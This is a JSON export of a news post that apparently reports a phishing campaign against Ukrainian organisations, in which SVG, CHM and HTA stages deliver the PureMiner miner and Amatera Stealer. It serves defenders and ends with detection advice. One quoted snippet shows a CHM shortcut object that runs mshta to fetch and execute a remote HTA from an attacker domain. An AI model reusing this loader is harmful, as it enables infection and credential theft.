{"id":7272,"date":"2025-09-29T10:04:05","date_gmt":"2025-09-29T10:04:05","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/09\/29\/hackers-weaponizing-svg-files-to-deliver-pureminer-malware-and-steal-sensitive-information\/"},"modified":"2025-09-29T10:04:05","modified_gmt":"2025-09-29T10:04:05","slug":"hackers-weaponizing-svg-files-to-deliver-pureminer-malware-and-steal-sensitive-information","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/09\/29\/hackers-weaponizing-svg-files-to-deliver-pureminer-malware-and-steal-sensitive-information\/","title":{"rendered":"Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information"},"content":{"rendered":"

Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information
\n \t

\n
<\/BR>
\n
\n \t

\n
<\/BR><\/p>\n

\n

In recent weeks, a sophisticated phishing campaign has emerged, targeting organizations in Ukraine with malicious Scalable Vector Graphics (SVG) files designed to propagate the PureMiner cryptominer and a data-stealing payload dubbed Amatera Stealer.<\/p>\n

Attackers masquerade as the Ukrainian police, sending emails that claim recipients have pending appeals.<\/p>\n

When victims open the attached SVG, it triggers a fileless attack chain that ultimately compromises system confidentiality and hijacks computing resources.<\/p>\n

This novel use of SVG attachments as initial infection vectors demonstrates attackers\u2019 increasing creativity in bypassing traditional email filters and endpoint protections.<\/p>\n

Upon opening the SVG attachment, an embedded HTML iframe element silently loads a second SVG from an attacker-controlled domain.<\/p>\n

That SVG presents a spoofed<\/a> Adobe Reader interface with a \u201cPlease wait, your document is loading\u2026\u201d message in Ukrainian, while simultaneously downloading a password-protected archive.<\/p>\n

\n
\"\"
Spoofed Adobe Reader interface (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n

Victims are shown the archive password and urged to extract a Compiled HTML Help (CHM) file. Fortinet analysts noted<\/a> the malware\u2019s reliance on this deceptive user interaction to evade detection and lure victims into executing malicious content.<\/p>\n

Inside the archive, a CHM file contains an HTML shortcut object that invokes an HTML Application (HTA) in hidden mode.<\/p>\n

\n
\"\"
Malicious HTM file extracted from the CHM (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n

The HTA script, obfuscated through string encoding and array shuffling, serves as a loader\u2014establishing a persistent connection to the attacker\u2019s server, exfiltrating<\/a> system information via XorBase64-encoded HTTP POST requests, and awaiting further commands.<\/p>\n

Infection Mechanism of PureMiner via an SVG-Based Fileless Chain<\/strong><\/h2>\n

A snippet from the malicious HTM extracted from the CHM illustrates how the Click method spawns mshta.exe to fetch and execute the next-stage payload:-<\/p>\n

[OBJECT id=\"shortcut\" classid=\"clsid:52a2aaae-085d-4187-97ea-8c30db990436\" width=\"1\" height=\"1\"]\n  [PARAM name=\"Command\" value=\"ShortCut\"]\n  [PARAM name=\"Item1\" value=\",cmd,\/c mshta https:\/\/ms-team-ping2.com\/smtp_test.hta\"]\n[\/OBJECT]\n[SCRIPT]shortcut.Click();[\/SCRIPT]<\/code><\/pre>\n
The infection mechanism continues with two distinct fileless payload deliveries. In the first, a ZIP archive named ergosystem.zip contains a legitimate .NET tool that sideloads a malicious DLL<\/a> using process hollowing.<\/p>\n
\n
\"\"
Attack chain (Source \u2013 Fortinet)<\/figcaption><\/figure>\n<\/div>\n
The injected payload, identified as PureMiner, decrypts its configuration from a Protobuf-serialized blob, gathers hardware details using AMD and NVIDIA libraries, and initiates CPU- or GPU-based mining modules.<\/p>\n
In the second archive, smtpB.zip, a Python interpreter and the PythonMemoryModule are leveraged to load Amatera Stealer directly into memory.<\/p>\n
This stealer requests an RC4-encrypted configuration via HTTP GET, decodes it in memory, and parses directives to harvest credentials, browser artifacts, and cryptocurrency wallet<\/a> files.<\/p>\n
From initial SVG deployment to dual payload execution, this campaign exemplifies a seamless progression of fileless tactics and legitimate application misuse.<\/p>\n
By weaponizing SVG files as HTML wrappers and chaining through CHM and HTA stages, attackers evade signature-based defenses and exploit users\u2019 trust in common document formats.<\/p>\n
Cybersecurity teams should inspect SVG attachments for embedded iframes and monitor<\/a> mshta.exe invocations, while ensuring that CHM and HTA executions are restricted.<\/p>\n
Proper URL filtering and archive password prompts coupled with endpoint behavioral analytics can disrupt this infection mechanism before it compromises data or hijacks system resources.<\/p>\n
Follow us on\u00a0Google News<\/a>,\u00a0LinkedIn<\/a>,\u00a0and\u00a0X<\/a>\u00a0to Get More Instant Updates<\/strong>,\u00a0Set CSN as a Preferred Source in\u00a0Google<\/a>.<\/strong><\/p>\n
The post Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information<\/a> appeared first on Cyber Security News<\/a>.<\/p>\n<\/div>\n
 \t

\n 
<\/BR>
\n    Tushar Subhra Dutta
\n \t

\n
<\/BR>
\nGo to cyber-security-news<\/a>
\n \t

\n 
<\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"
Hackers Weaponizing SVG Files to Deliver PureMiner Malware and Steal Sensitive Information In recent weeks, a sophisticated phishing campaign has emerged, targeting organizations in Ukraine with malicious Scalable Vector Graphics (SVG) files designed to propagate the PureMiner cryptominer and a data-stealing payload dubbed Amatera Stealer. Attackers masquerade as the Ukrainian police, sending emails that claim […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-7272","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7272"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=7272"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7272\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=7272"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=7272"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=7272"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}